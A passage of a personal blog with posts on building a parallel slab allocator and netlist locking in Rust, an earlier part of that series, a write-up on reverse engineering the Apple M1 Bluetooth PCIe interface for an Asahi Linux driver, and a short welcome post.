- First of all, this part of the paper doesn't match the actual published code. The code has at least one further optimization: a block will not be put on the thread delayed free list if another block in the same page is already on said list. This is because only one block per page is needed in order for the owning thread to eventually realize that the page isn't full anymore. This optimization is actually given two sentences in the paper which I initially overlooked. The paper still does not match the published code which contains an additional "never delayed free" state that I also don't fully understand.
- A: I don't fully understand this, but it has to do with thread termination. When a thread terminates in Mimalloc, its owned pages are somehow "given" to another thread or something. We will probably just... not do that, but our implementation does still need to figure out its thread lifetime story at some point though. Note from the future: we actually end up reinventing the entire set of state transitions used to manage the full list.

Okay, let's hack together the fast path. Here we go! There's not much to say about this, it's just writing unsafe Rust code as if it were C-like.

But wow, this is an awful mess of pointer casting, TODOs, FIXMEs, XXXs, and general jank.

Fixing the "complicated Rust stuff"

The following things need to be fixed immediately:

Having an invariant "arena" lifetime as described in this article
In the meantime, figuring out the correct variance story around T
... which, while we're at it, requires figuring out all of the other things mentioned in the PhantomData nomicon article: drop check and Send/Sync
... which (among other things) requires figuring out the thread creation / termination story

Rust: forcing you to design APIs properly!

So, how do we want our framework to work? Have another brain dump:

Graph node objects must be Send. This is a hard requirement, as we will be (potentially) processing data across different threads. The T: Send bound that the hacked-together code has is correct and is the same as what Rust requires for e.g. Arc<Mutex<T>>. Graph node objects must be both Send and Sync. Send is required because we will be (potentially) processing data across different threads. Sync is also required because multiple read guards can exist at the same time, across separate threads, meaning there can be multiple & references at the same time. There can still only be one &mut reference at once, and any potential interior mutability is the responsibility of the node types to make safe, not the allocator/locking.
The "root" heap object is somehow used to create per-thread state, which is then used to allocate/free data. This is currently SlabAlloc and SlabThreadState, but these types are definitely borked in the hack implementation.
The general program flow envisioned is something like:
1. Run a graph algorithm, across every CPU core
2. Wait for everything to finish
3. Threads terminate when there is no more work
4. Possibly(???) optimize memory usage/fragmentation/balancing-across-threads (is this useful at all?)
5. Run the next graph algorithm
Does the "root" object need to be Sync? If it is, then threads can freely spawn subthreads with their own heap shards. If it is not, then one initial thread must set up all the necessary shards before launching work threads.
Does the "root" object need to be Send? As far as I can tell, no. But it probably should be.
Does the per-thread object need to be Sync? It CANNOT be. The whole point of it is that it belongs to one specific thread.
Does the per-thread object need to be Send? If the "root" object is not Sync, this object must be Send (or else it wouldn't be possible to give it to worker threads). Otherwise, no (e.g. if using OS TLS primitives?).
Do node read/write guard objects need to be Send/Sync? They again cannot be Sync, as they belong to one specific thread. Having them be Send ~~feels somewhat wrong, but isn't blatantly unsafe (e.g. a graph algorithm creates subthreads and gives them the guard object)?~~ is conceptually required, as the way an "ordered" graph algorithm will work involves leaving graph nodes locked after its read-only phase finishes until the read-write phase eventually either commits or abandons. That can happen on an entirely different thread from the read-only phase.
Guard objects cannot outlive segments/pages.
Nothing can outlive the "root" object.
In general, what are we actually trying to check wrt object lifetimes?
- Don't cause memory safety issues when deleting nodes
- Prevent graph manipulating code from stashing references/guards for graph nodes and accessing them after the algorithm should have finished
  - i.e. so that we can safely do the "optimize/defragment memory" operation
I fundamentally do not have good enough intuition on the behavior of &'a T vs T<'a> vs &'a T<'b>
- We need good intuition about this in order to understand whether or not we should be covariant or invariant over T, especially since we will be using interior mutability.
I don't understand the nomicon chapter on PhantomData drop check at all.

After thinking through all of this and several days of hacking later, we now have this!

What did we learn?

It's hard to transfer intuition across brains, but here's another brain dump:

As updated above, T needs to be both Send and Sync.
We've created a "root" object that is both Send and Sync.
- However, as soon as new_thread is ever called on it, the object becomes pinned in memory. This inherently has to happen: segments contain a pointer back to the per-thread state, and so the per-thread state cannot move anymore. This doesn't actually affect whether or not the root object is Send though: transferring the ownership (without moving it) should still work without issue (although we haven't actually tested whether Rust will allow us to write code that does anything like that).
The variance on T seems like it should be covariance. The nomicon states "as soon as you try to stuff them in something like a mutable reference, they inherit invariance and you're prevented from doing anything bad." The following is a worked example of how that is supposed to work:

We have code that, oversimplified, will eventually look like the following:

struct SlabThreadShard<'arena, T> { /* stuff */ }
struct LockGuard<'arena, T> { /* stuff */ }
impl<'arena, T> SlabThreadShard<'arena, T> {
    fn lock_an_object(&'arena self, obj: /* some kind of ref */) -> LockGuard<'arena, T> {
        /* impl */
    }
}
impl<'arena, T> Deref for LockGuard<'arena, T> {
    type Target = T;

    fn deref<'guard>(&'guard self) -> &'guard T { /* impl */ }
}
impl<'arena, T> DerefMut for LockGuard<'arena, T> {
    fn deref_mut<'guard>(&'guard mut self) -> &'guard mut T { /* impl */ }
}
// users cannot access data outside of the lifetime of 'guard
// 'guard cannot be longer than 'arena

In the deref_mut function, if we let T = &'a U, the function signature becomes

fn deref_mut<'guard>(&'guard mut self) -> &'guard mut &'a U

Because &'a mut T is invariant over T, &'guard mut &'a U forces anything that might be stored to be exactly &'a U.

However, I still haven't tested any of this. There might still be something I've missed.

I still don't understand drop check and haven't gotten around to implementing any code to support dropping yet.
The most useful articles for building my intuition about memory ordering were:
- https://preshing.com/20120710/memory-barriers-are-like-source-control-operations/
- https://preshing.com/20120913/acquire-and-release-semantics/ (specifically the diagrams with the square brackets indicating across where memory operations cannot move)
- https://preshing.com/20130823/the-synchronizes-with-relation/ explaining synchronizes-with.
  - This allocator additionally depends on the rules around release sequences, but the explanation here finally makes sense after understanding everything else.
  - This SO question helped to clarify even further.
Our thread creation / termination story is as follows: The heap can only support a hardcoded maximum number of threads. If a thread terminates, nothing happens to any of its memory and none of it is freed. Other threads can keep accessing nodes that exist on its pages. Other threads can also free nodes that exist on the terminated thread's pages, but nothing will ever come around to sweep/collect them anymore. When a thread is created, the code first tries to find an existing "abandoned" set of memory and gives this new thread that memory (only creating a totally new thread shard if that fails). With the envisioned execution model, this should be totally fine — we will grab n threads, do stuff, drop all n threads, and then pick up the same n thread shards (and associated memory) the next time we do stuff.

Netlist and object locking

After building the allocator, we need to build this next.

I'm quite familiar with atomic operations and locking (other than memory ordering), so this is quite straightforward after all of the struggles of the previous section. Here we go, and here we have a port of the previous benchmark.

While writing this, I noticed the following concerns:

Guards aren't required to outlive the per-thread handle. This seems // XXX XXX XXX BAD BAD BAD ???, but I need to understand and be able to explain why.
I am using a nasty trick to deal with attempting to get a lock on an object that has been deallocated. It is not clear to me whether or not this is UB according to any theoretical memory models (it definitely does end up mixing atomic (read/write lock guard) and non-atomic (free list) access to the same address) or in practice. This definitely needs to be fixed (or at least reasoned through).
I don't have a full intuitive understanding of Rust's UB rules regarding summoning up mut pointers/references derived from a & reference.
Variance really matters here as netlist cells/wires... have lifetime params. I still haven't tried intentionally breaking it (although doing the "normal/intended" thing is accepted).
This new API has way less locking-related noise compared to the previous duct-tape attempts. This is definitely better.

Let's fix some of these issues:

Surprisingly to me at first, there is no issue with having read/write guards outlive the heap thread shard. This is because the heap thread shard controls the ability to perform allocator activity (i.e. allocating and freeing), whereas the read/write guards control the ability to perform netlist content activity (i.e. scribbling all over graph nodes).

... actually, that makes perfect sense now that it is all spelled out. Once you've gotten memory from e.g. malloc, you are free to do whatever you want as far as the heap is concerned. The heap only needs to protect itself from concurrency issues, and you can't allocate/free anything if you don't have a heap shard.

Which means that I should probably work out and explicitly spell out the coupling I actually need between the allocator and the locking logic:

the ability to deallocate through a write guard. We can do this whereas Rust's RwLockWriteGuard can't because we know that the object we are protecting came from our special heap, whereas a RwLock<T> can be stored anywhere and not even necessarily in a heap allocation.
our heap allows us to very very carefully access deallocated objects, using the hack of overlaying the lock/generation counter with the free list next pointer. Not only do we know that the backing memory segment itself cannot disappear, we've also gained the ability to logically invalidate old pointers to the freed node, without having to go through connected graph nodes to erase the pointers.
we want to be able to define periods in the code where neither allocator nor netlist activity are happening. We can couple these together on purpose even though there is no need to do so for safety (by adding a PhantomData inside the read/write guards borrowing the thread shard).

This is good intuition to have going forwards!

While we're fixing things, the "mixed use of atomic and non-atomic operations" problem can be fixed by... making the heap use (relaxed) atomic operations. It's still a hack and a layering violation, but it should no longer be a theoretical memory model data race UB. It also shouldn't change the generated code, as the previous store was a 64-bit pointer that should already be atomic.

Incidentally, I also fixed a bunch of coercions to *mut, removed some unnecessary uses of mem::transmute, and generally should have fixed all of the Rust-level UB.

New benchmarks

We can now rerun the hacky benchmark from the previous attempt (which now very obviously doesn't test object deletion nor otherwise have particularly good invariant self-checking, but at least it'll be an apples-to-apples comparison):

Some observations:

This implementation completely beats the "slap Arc<RwLock<>> everywhere" solution across all tested cases. This isn't too surprising as that implementation had tons of unnecessary work going on.
Our single-threaded performance beats the off-the-shelf "sharded_slab plus RwLock" performance
With multiple threads but a tiny netlist, we perform worse than the sharded_slab implementation. It might be good to investigate why, although it might not matter at this scale (we're talking milliseconds in total).
At larger netlist sizes, we start to perform significantly better, and this continues to scale up until we increase the number of threads to 7-8 (although not linearly).

Going forward

Now I need to actually build out the "Galois system"-inspired graph stuff...

Parallel-capable netlist data structures, part 1

2023-12-27T00:00:00+00:00

For the past <indeterminate time>, I've been trying to work on an EDA-related tool (formal announcement coming any moment now...) whilst trying to recover from severe, debilitating burnout. This has involved playing around with Rust on "real computers" (i.e. not on microcontrollers) and learning how to write parallel algorithms. This is Part 1 of my learning progress.

Given that I've (in theory) studied all sorts of academic material about algorithms, concurrency, computer architecture, etc. etc., this should be easy, right? Riiiiiiiight...?

Let's find out!

Code for all of this is here

All benchmarks were run on an Apple M1 Max.

A new tool?

Yosys is currently the standard open-source EDA framework. It works quite well for the synthesis and formal verification use cases. However, I wanted a place to freely experiment with... other algorithms (wink).

Yosys RTLIL data structures are also not currently multithreaded, but I predict that multithreading will be critical for handling the... large netlists that my tool would be working with.

With its advertised "fearless concurrency," a natural choice of programming language for this project is Rust.

Minimum viable netlist

For the particular type of neurodivergence that seems to exist in our brain, it is super critical to get something that "looks like it is doing something" as fast as possible. How do we do that?

The structure that I ended up choosing was:

Cells contain:
- a type
- a fixed-size array of (nullable) references to wires (which is actually implemented as a non-fixed-size Vec)
Wires contain:
- a list of cells driving the wire
- a list of cells being driven by the wire
- a list of cells with bidirectional connections to the wire
Module inputs/outputs are ignored and handwaved away

This contains the following major differences from Yosys RTLIL:

Yosys cells point to wires, but it is hard to go from wires back to the cells connected to them
Yosys wires are actually wire bundles of a certain width (which can be 1). This netlist's wires are always a single wire.
Similarly, Yosys netlist cell connections can also have a width > 1, and the SigSpec/SigChunk/SigBit types represent details of how this connection is performed.
Yosys wires have a name built in to them. When two names are assigned to "the same" wire, two separate Wire objects exist. A vector of SigSigs links them together.
Yosys stores a lot more metadata.

Points 2/3/5 differ solely to hack together something simple and minimal as fast as possible. However, points 1 and 4 were intentionally chosen to be different.

For point 1, I am predicting that the types of algorithms I will be interested in will require a lot more arbitrary graph traversals than the typical algorithms in Yosys. Having references in both directions will make this much easier. The trade-off is increased cost (in terms of complexity and performance) keeping the references consistent.

For point 4, I am intentionally treating human-readable names as more akin to metadata than an integral part of wires. This feels like the correct choice for the final application.

Of course, as the rest of the code hasn't actually been written, I don't yet know if these design choices will end up being the right choice.

Make it parallel

The easiest solution that we understood to "just make the thing parallel" is to slap Arc<Mutex<T>> or Arc<RwLock<T>> everywhere:

However, this has an obvious problem in that this data structure inherently contains a lot of cycles. This means that memory will be leaked and never freed. As a further hack, I decided to make all internal references Weak, with the only strong Arc references stored in a global Vec:

With this data structure, no memory will be freed until the entire netlist itself is dropped. Nodes will be free to reference each other with cycles, and upgrading Weak references can't ever fail. However, a lot of extraneous reference counting probably happens.

In order to test out this data structure, we need some algorithms to run on some netlists. For testing, I created a randomly-connected netlist of LUT4s:

The test mutation algorithm inserts a buffer on the output of every LUT4, starting from a certain set of "seed" LUT4s:

Although this is not necessarily completely representative of real designs nor algorithms, it is simple and should at least be useful for getting "order of magnitude" performance numbers.

To make all of this work, we finally need a work-stealing thread pool. The work_queue crate seems like it does what we want. After throwing all of this together, does it work?

A cursory manual inspection of small inputs/outputs seems to indicate that the algorithm is correct (after fixing some bugs). Larger netlists also don't hit any unwrap failures, which is also a good sign. Fearless concurrency! However, performance is a different story:

Performance doesn't scale beyond two cores. Hmm.

Looking at what other people did

While throwing together quick hacks, I did also study examples of existing implementations. The first reference I looked at (which I had first read quite some time ago) was a paper titled "Unlocking Fine-Grain Parallelism for AIG Rewriting". This paper references a particular abstraction called "the Galois system" for building parallel graph algorithms.

The papers have been the most useful for me to understand the Galois abstraction have been this and this.

My key takeaways from these papers are:

"Unordered algorithms with cautious operator implementations can be executed speculatively without buffering updates or making backup copies of modified data"
- The code I've written is already a "cautious" operator (after minimal modifications)
"Ordered" algorithms are going to be tricky later, and I will probably need some of them in my program (e.g. clustering)
- I will have to implement some form of "commit pool" for these

Fixing the worst of the quick hack

The giant mess of Weaks constantly being upgraded/downgraded from Arcs (even though nothing can actually be deallocated) feels like a potential source of performance problems. It really should be replaced by something like an arena/slab allocator. The sharded_slab crate seems like it does what we need.

I also changed the code so that it aborts and retries later (rather than blocking) if an iteration ("operator" in the Galois abstraction) fails to lock all of the nodes it needs.

Final part 1 performance

This has fixed the worst of the scaling bottleneck.

Final remarks

Manually acquiring locks and messing with the netlist is very error-prone and cumbersome. I need to figure out a better way to build APIs for this.

Reverse engineering the Apple M1 Bluetooth interface

2023-02-08T00:00:00+00:00

Back in April of 2022, I reverse-engineered the interface that drivers use to communicate with the Bluetooth module on Apple M1 machines so that Asahi Linux could support Bluetooth on these devices. I documented the results in a prototype driver that was written in Python and ran in userspace. By July, other members of the Asahi team had written a real driver that is now shipping to end users.

In this post, I will document the thought processes that went into this reverse engineering effort. Unfortunately, I experienced a hardware failure in the meantime and don't have my old annotated reverse engineering notes, so this will be done on a best-effort basis.

Background

Unfortunately, this post cannot be an introduction to reverse engineering as a whole. Reverse engineering is an extremely broad topic with many areas to cover, including

assembly language and the AArch64 instruction set. The official documentation for the AArch64 instruction set can be found here.
operating systems. It is extremely useful to have a general idea of how operating systems work and are designed, but, as I will show here, a detailed knowledge of macOS internals is not specifically required. I have gotten away with consulting the official IOKit documentation only when needed, figuring things out as I go along.
educated guesswork. Lots of guesswork. Having a vague idea about how other systems work and are designed helps when reverse engineering an unknown system. There are many common patterns (e.g. ring buffers, doorbell registers, firmware loading) that occur throughout different systems, and having this knowledge available to hand makes guessing much faster and more efficient.

Initial reconnaissance

One of the first things to do when reverse engineering a system is to have a poke around in order to gather information. The first tool I personally reached for was IORegistryExplorer, which is available as part of the "Additional Tools for Xcode." This tool displays information used by macOS device drivers.

The first thing I did was to open IORegistryExplorer, select the IODeviceTree "plane" (I didn't read the documentation enough to know what exactly a plane is, but I did know from previous efforts that this plane matches the Apple Device Tree information that m1n1 can dump), and search for "bluetooth".

This immediately tells me some information:

Bluetooth is running over PCIe. There isn't a standard way of doing this according to the Bluetooth Core specification (we will need this document again later), but the commands running on top of the PCIe link might still be standard (we do not know yet at this point).
Bluetooth is a second PCIe function on the same device as WiFi. This can be seen from the 0,1 address (as well as by running lspci when booted into Linux).

Repeating the same search on the IOService "plane" results in the following hierarchy:

Some quick research online seems to hint that this may be an Apple-specific interface (most WiFi+BT cards in mini-PCIe form factor use USB for the Bluetooth function). At this point, my preference is to jump in to static analysis.

Static analysis

I began static analysis by loading AppleBluetoothModule and AppleConvergedIPCOLYBTControl (visible in IORegistryExplorer), as well as the similarly-named AppleConvergedPCI as a guess, into Ghidra. These drivers can be found inside /System/Library/Extensions of a macOS install. Interestingly, when loading these drivers, Ghidra informs us that they are "fat binaries" containing both x86_64 code as well as AArch64 code. It turns out that some of the latest x86 Macs also have a similar Bluetooth module connected over PCIe, and this reverse engineering work is applicable for them as well.

The first thing I do when loading a macOS driver into Ghidra is to look at the class and function names. These are usually not obfuscated and give a good overview of what the code might be doing. Some of the functions in AppleBluetoothModule look like this:

My initial impression was that this code seems to be used for "gluing together random bits related to PCIe" and was not related to "actually talking to the chip," so I quickly moved on to AppleConvergedPCI instead:

Ah! At this point I know I'm in the right place because I can see familiar numbers! (It's not visible in the screenshot above, but the device tree in IORegistryExplorer contains a "compatible" string of wlan-pcie,bcm4387). One function immediately jumps out to me: getRegisterOffset

We don't yet know what any of these registers do, but the fact that they've been wrapped in this layer of indirection means that most likely either these registers are the only registers the driver accesses, or they're at least the most important ones. We can quickly note these down in a "notes" file.

Nothing else in AppleConvergedPCI seemed to be doing anything particularly interesting, so we move on to AppleConvergedIPCOLYBTControl.

Jackpot? Based on the amount of code in here, as well as the names in IORegistryExplorer, this is almost certainly the bulk of the driver logic. At this point, it's time to perform a bunch of the static analysis Sudoku puzzle. It's hard to describe step-by-step how this process works, but the gist of it is:

Find something you don't understand, but where you understand most of the surrounding pieces.
Figure out what it does.
Repeat until you understand everything.

Initial static analysis notes

The first thing I noticed was the separate set of classes containing "BTI" vs "RTI". Since I expect that this card probably requires firmware (just like the WiFi function does), I take a wild guess that "BTI" might stand for "boot-time interface" and that "RTI" might stand for "run-time interface". This is backed up by the fact that "BTI" mostly only seems to be able to "send an image" while "RTI" does a lot of work with things like "MR" "CR" "TR" "CD" etc.

When reverse engineering C++, it is extremely helpful to properly define all of the classes in the Ghidra structure editor. In order to figure out the sizes of some of these classes in bytes, I look for calls to the constructor and then look for the preceding calls to __Znwm (the global operator new):

In this case, the size of the ACIPCBTIPipe object is 0x30 bytes.

In other cases (mostly classes that are more involved with IOKit), the class itself will contain an operator new method that calls into _OSObject_typed_operator_new:

Understanding this requires digging through the XNU source code a bit to find the size.

Once a few classes have been briefly annotated, the function of some of the registers starts to become clear. For example, here's a fragment from the ACIPCBTIDevice::updateImageAddr method:

The + 0x80 and + 0x88 vtable calls are ACIPCControl::writeBar0Register and ACIPCControl::writeBar1Register respectively, which are defined back in the AppleConvergedPCI driver (I do not know a convenient way to annotate vtables in Ghidra and usually follow them manually). This shows that the BTI "image" (which we are guessing is firmware, but have not yet confirmed) address is written to registers 0x19/0x20 and 3/4. Some further reverse engineering following the same reasoning finally yields an initial register list like in this commit.

Finally, various "debug" and "state dump" functions often provide useful hints, such as this method ACIPCRTIDevice::stateDump:

However, although this code may give the names of fields in a structure, it is not 100% clear exactly what these RTI-related structures are used for, and it eventually becomes easier to supplement static analysis with dynamic analysis.

Switching to tracing and dynamic analysis

In order to switch to dynamic analysis and trace what macOS is doing, we make use of m1n1's hypervisor. When this effort was first being performed, there was no code to help with tracing PCIe devices, so I wrote a tracer that hard-codes the physical addresses that the Bluetooth device PCIe BARs get mapped to. This was "good enough" to get initial reverse engineering done.

By dumping the "image" that is initially sent to the card (code here) and then comparing it against files in /usr/share/firmware/bluetooth, we can confirm that this first stage is indeed a firmware load done by the "BTI" classes. We can also dump the "context" set by ACIPCRTIDevice::updateContextAddr and confirm that it matches the structure printed by ACIPCRTIDevice::stateDump (this code is here).

At this point, a very tedious back-and-forth process occurs of updating the tracer based on static analysis findings, and then updating the static analysis based on the tracer results. The first significant milestone is uncovering the ring buffer used for control messages on pipe 0 (code here).

The tedious back-and-forth repeats again, but I start noticing that a lot of the settings that go into these control messages seem to come from Somewhere™ that I don't understand. Eventually, in a flash of insight, I open /System/Library/Extensions/AppleConvergedIPCOLYBTControl.kext/Contents/Info.plist and discover:

... oh. Sometimes it helps to read the documentation. Reading through this plist file, we discover that it references separate pipes for "HCI", "SCO", "ACL", and "debug". I don't know what any of these terms are, but a quick poke through the Bluetooth Core specification reveals this table in the section describing the UART transport layer:

This is starting to make sense. Instead of adding a byte prefix like the UART transport layer, Apple seems to have separated out each type of Bluetooth packet into a separate "pipe" with its own ring buffers, and the plist specifies how these are all tied together.

The reverse engineering process proceeds until the tracer can dump HCI commands as well as their corresponding responses. This finally results in this Tweet showing command 0x1002 Read_Local_Supported_Commands in the TR and the corresponding reply in the CR. From the dumps, we can confirm that this Bluetooth adapter does indeed still use standard HCI commands, just wrapped in this Apple-specific transport.

After tracing data flowing through in both directions, we can finally make reasonable guesses as to what various abbreviations in the driver codebase mean:

HIA - head index A?
TIA - tail index A?
CR - completion ring
TR - transfer ring
MR - message/management ring
TD - transfer descriptor
CD - completion descriptor

It's time to be brave and try driving the device ourselves with our own driver!

Prototyping a new driver

In order to prototype a driver quickly, I wanted to be able to use a high-level programming language that's extremely convenient for rapid prototyping, such as Python. Most of the other Asahi experimentation is already done with Python scripts running on a separate computer interfacing with m1n1. However, there weren't any examples of how to set up a PCIe device under m1n1, and I didn't want to invest a lot of effort into making that work. Fortunately, Linux already has functionality for writing userspace PCIe drivers — VFIO. VFIO is well-known for allowing "passthrough" of PCIe devices from a hypervisor host to virtual machines, but it also allows safe (IOMMU-protected) access to PCIe devices from userspace.

I start putting together a Python skeleton to poke BAR registers interactively while booted into Linux. However, I quickly discover an issue — accessing some registers (e.g. CHIPCOMMON_CHIP_STATUS) works, but accessing most registers cause the entire machine to lock up and eventually watchdog reboot. This happens even if I access them in the exact same sequence as macOS does. Much frustration ensues.

Eventually, I start using the debugging technique of "what information do I have that I have not used yet?" One obvious piece of information is the AppleConvergedPCI driver and the ACIPCChip43XX classes, all of which seem to just initialize some magic numbers and then not do anything else. While thoroughly combing through this driver (and continuing to bang my head against the desk), I eventually notice AppleConvergedPCI::setupVendorSpecificConfigGated

PCIe config space. Of course. Since the PCIe configuration space is not part of a BAR, none of my tracing captured it. It's also the perfect location to put magic pokes that completely change how the rest of the chip behaves. This also explains what the magic numbers in ACIPCChip43XX are for — they are written into the configuration space to change what is mapped into the memory BARs. This also explains why not setting them up causes a system lockup — accessing an invalid/unmapped address. Pasting these pokes into my Python driver and... success! I can read/write registers without crashing. From there, it's a very quick bit of code until I can successfully boot the firmware.

Once the firmware is booted, I just need to set up the RTI "context" data structure, and then I can transition the firmware into state 1 followed by state 2 where it should be running (code here).

From here, further iteration and experimentation gets to the point where completion rings can be opened followed by opening transfer rings. At this point, we can now manually send Bluetooth HCI commands via the Python interactive shell.

The macOS kernel driver does not handle higher-level concerns such as calibration (deferring these to userspace). However, in order to make this work under Linux, we have to do this functionality ourselves. The m1n1 tracer is now complete enough to show that the relevant commands are 0xFD97 to load calibration and 0xFE0D to load a "PTB" (both within the vendor-specific command range). In the prototype, we duplicate the commands here. At this point, I can finally send 0x0C1A Write_Scan_Enable via the Python interactive shell and get this Tweet where an Android phone is detecting the M1.

Fleshing out the prototype driver

After getting HCI commands working via an interactive shell, the next logical step is to try to integrate it with the rest of the Linux Bluetooth stack. Fortunately, Linux once again has a good mechanism for doing this — Bluetooth VHCI. There doesn't appear to be any documentation about how this is supposed to work, but the interface happens to be straightforward enough (open /dev/vhci and then read/write packets prefixed by a byte indicating HCI packet type).

Quickly hooking this together yielded this Tweet showing the M1 laptop scanning and detecting an Android phone, with everything already correctly plumbed through all the way to the GUI layer.

At this point, I attempt to support SCO data, but it uses a different doorbell mechanism and immediately causes an interrupt storm. I set this aside and decide to come back to it later (this is always a valid approach!). I instead decide to tackle ACL data, which requires me to figure out how the sharing of completion rings works. I try to test using command 0x1802 Write_Loopback_Mode, only to discover that it appears to be broken or otherwise somehow crashes the firmware. Undeterred, I decided to just plow forwards and integrate ACL experiments directly into the VHCI logic.

While experimenting with this, I compared against multiple traces I had captured from macOS and eventually discovered the following major quirk: when ACL data to the host fits inside the completion ring, the buffer passed in the transfer ring is not used. The buffer in the transfer ring is only used when the data is too large to fit directly inside the completion ring. (There are flag bits in the descriptor that indicate this.) Once this was correctly handled, I posted this Tweet where I successfully sent a file via OBEX to a phone.

However, it was clear that there was still a bug. Implementing analogous handling of larger ACL buffers going out to the adapter was sufficient to finally fix that as well (after resetting multiple pieces of software repeatedly as they got confused by bogus data). With that, pairing and playing audio via A2DP worked!

Finally, I re-enabled the SCO logic I had set aside (and ignored the resulting interrupt storm). This appeared to also work, so I declared the prototype "complete enough," wrote a README, and announced it publicly.

Aftermath

Eventually, sven from the Asahi project took on the effort needed to turn this prototype into a real driver. For the most part, this was a fairly straightforward affair. However, some further discoveries were made along the way:

several of the unknown register writes (e.g. REG_21 and REG_24) in my prototype can just be ignored with seemingly no effect
treating the SCO doorbell as... not special causes the interrupt storm problem to go away
the details of reading the chip ID, revision, and OTP were figured out in order to select the correct firmware
the adapters use reserved bits to indicate the channel of received BLE advertisements. This helps explain why BLE did not work in my testing with my prototype.
quirks specific to the 4377 and 4378 chips were figured out

But, with all of that sorted, the driver has made its way upstream!

Hello world!

2023-01-28T00:00:00+00:00

One pandemic, innumerable global crises, and several rounds of personal redevelopment later... and I have a website/blog again!